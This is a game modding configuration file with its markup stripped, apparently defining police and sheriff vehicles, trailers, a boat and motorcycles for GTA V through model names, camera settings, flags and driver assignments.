- - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - libertyf250 - libertyf250 - codef250 - libertyf250 - - null - null - null - null - - null - BALLER2 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3boat - code3boat - DINGHY - code3boat - NAGASAKI - null - null - null - null - - null - - LAYOUT_BOAT_DINGHY3 - STANDARD_COVER_OFFSET_INFO - EXPLOSION_INFO_BOAT_MEDIUM - - FOLLOW_DINGHY_CAMERA - DINGHY_AIM_CAMERA - BOAT_BONNET_CAMERA - DINGHY_POV_CAMERA - - - - - - - - - - - - - - - VFXVEHICLEINFO_BOAT_DINGHY - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - - - - - - - - - - SWANKNESS_2 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS FLAG_NO_BOOT FLAG_SPAWN_BOAT_ON_TRAILER FLAG_EXTRAS_RARE FLAG_PEDS_CAN_STAND_ON_TOP FLAG_GEN_NAVMESH FLAG_DONT_SPAWN_AS_AMBIENT FLAG_GIVE_SCUBA_GEAR_ON_EXIT FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_BOAT - VPT_NONE - VDT_TRUCK - VC_EMERGENCY - VWT_SPORT - - - - - A_M_Y_JETSKI_01 - - - - - - - - - EXTRA_3 - - - DINGHY_WINDSCREEN_RIGHT_CAMERA - DINGHY_WINDSCREEN_LEFT_CAMERA - - - - - - - BOAT_FRONT_LEFT - BOAT_FRONT_RIGHT - BOAT_DINGHY3_REAR_LEFT - BOAT_REAR_RIGHT - - - - code318chargk9 - code318chargk9 - codechar - code318chargk9 - - null - null - null - null - - null - demonv8 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3trailer - code3trailer - TRAILERSMALL - code3trailer - - null - null - null - null - - null - boattrailer - LAYOUT_STANDARD - TRAILERSMALL_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - FOLLOW_ARTIC_CAMERA - ARTIC_AIM_CAMERA - VEHICLE_BONNET_CAMERA_STANDARD - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_TRAILER_SMALL - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - - - - - - - - - - SWANKNESS_1 - - FLAG_SPAWN_BOAT_ON_TRAILER FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_PEDS_CAN_STAND_ON_TOP FLAG_GEN_NAVMESH FLAG_DONT_SPAWN_AS_AMBIENT FLAG_BLOCK_FROM_ATTRACTOR_SCENARIO - VEHICLE_TYPE_TRAILER - VPT_NONE - VC_UTILITY - VWT_SPORT - - - - - - - - - - - - - - - - - - - code316impala - code316impala - codeimp - code316impala - - null - null - null - null - - null - BALLER2 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code310charg - code310charg - codechar10 - code310charg - - null - null - null - null - - null - demonv8 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code314tahoe - code314tahoe - code14tah - code314tahoe - - null - null - null - null - - null - BALLER2 - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3gator - code3gator - codegat - code3gator - - null - null - null - null - - null - BALLER2 - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3trailer2 - code3trailer2 - TRAILERSMALL - code3trailer2 - - null - null - null - null - - null - boattrailer - LAYOUT_STANDARD - TRAILERSMALL_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - FOLLOW_ARTIC_CAMERA - ARTIC_AIM_CAMERA - VEHICLE_BONNET_CAMERA_STANDARD - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_TRAILER_SMALL - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - - - - - - - - - - SWANKNESS_1 - - FLAG_SPAWN_BOAT_ON_TRAILER FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_PEDS_CAN_STAND_ON_TOP FLAG_GEN_NAVMESH FLAG_DONT_SPAWN_AS_AMBIENT FLAG_BLOCK_FROM_ATTRACTOR_SCENARIO - VEHICLE_TYPE_TRAILER - VPT_NONE - VC_UTILITY - VWT_SPORT - - - - - - - - - - - - - - - - - - - code3camero - code3camero - codecamaro - code3camero - - null - null - null - null - - null - c6v8sound - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3mustang - code3mustang - codestang - code3mustang - - null - null - null - null - - null - tamustanggt50 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3f150 - code3f150 - codef150 - code3f150 - - null - null - null - null - - null - BALLER2 - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3silverado - code3silverado - codesilv - code3silverado - - null - null - null - null - - null - BALLER2 - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3bmw - code3bmw - POLICEB - code3bmw - - null - null - null - null - - null - POLICEB - LAYOUT_BIKE_DIRT - BIKE_COVER_OFFSET_INFO - SANCHEZ_POV_TUNING - EXPLOSION_INFO_DEFAULT - - FOLLOW_UPRIGHT_BIKE_CAMERA - BIKE_AIM_CAMERA - BIKE_SANCHEZ_POV_CAMERA - BIKE_SANCHEZ_POV_CAMERA - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_MOTORBIKE_GENERIC - - - - - - - - - - - - - - - - - - - - - - 10.000000 - 25.000000 - 60.000000 - 120.000000 - 500.000000 - 500.000000 - - - - - - - - - - SWANKNESS_1 - - FLAG_NO_BOOT FLAG_HAS_LIVERY FLAG_IGNORE_ON_SIDE_CHECK FLAG_AVERAGE_CAR FLAG_IS_OFFROAD_VEHICLE FLAG_HEADLIGHTS_USE_ACTUAL_BONE_POS FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_BIKE - VPT_FRONT_AND_BACK_PLATES - VDT_SPORTBK - VC_EMERGENCY - VWT_BIKE - - - - - A_M_M_Hillbilly_02 - - - - A_M_M_Salton_01 - - - - - - - - - - - - WHEEL_REAR_LEFT_CAMERA - - Bike - - - - - BIKE_SANCHEZ_FRONT - BIKE_DAEMON_REAR - - - - code3harley - code3harley - POLICEB - code3harley - - null - null - null - null - - null - POLICEB - LAYOUT_BIKE_CHOPPER - BIKE_COVER_OFFSET_INFO - SANCHEZ_POV_TUNING - EXPLOSION_INFO_DEFAULT - - FOLLOW_UPRIGHT_BIKE_CAMERA - BIKE_AIM_CAMERA - BIKE_SANCHEZ_POV_CAMERA - BIKE_SANCHEZ_POV_CAMERA - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_MOTORBIKE_GENERIC - - - - - - - - - - - - - - - - - - - - - - 10.000000 - 25.000000 - 60.000000 - 120.000000 - 500.000000 - 500.000000 - - - - - - - - - - SWANKNESS_1 - - FLAG_NO_BOOT FLAG_HAS_LIVERY FLAG_IGNORE_ON_SIDE_CHECK FLAG_AVERAGE_CAR FLAG_IS_OFFROAD_VEHICLE FLAG_HEADLIGHTS_USE_ACTUAL_BONE_POS FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_BIKE - VPT_FRONT_AND_BACK_PLATES - VDT_SPORTBK - VC_EMERGENCY - VWT_BIKE - - - - - A_M_M_Hillbilly_02 - - - - A_M_M_Salton_01 - - - - - - - - - - - - WHEEL_REAR_LEFT_CAMERA - - Bike - - - - - BIKE_SANCHEZ_FRONT - BIKE_DAEMON_REAR - - - - code3durango - code3durango - codedur - code3durango - - null - null - null - null - - null - demonv8 - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code316fpiu - code316fpiu - codeexp16 - code316fpiu - - null - null - null - null - - null - BALLER2 - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3f250 - code3f250 - codef250 - code3f250 - - null - null - null - null - - null - cummins5924v - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code319silv - code319silv - code19silv - code319silv - - null - null - null - null - - null - BALLER2 - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - 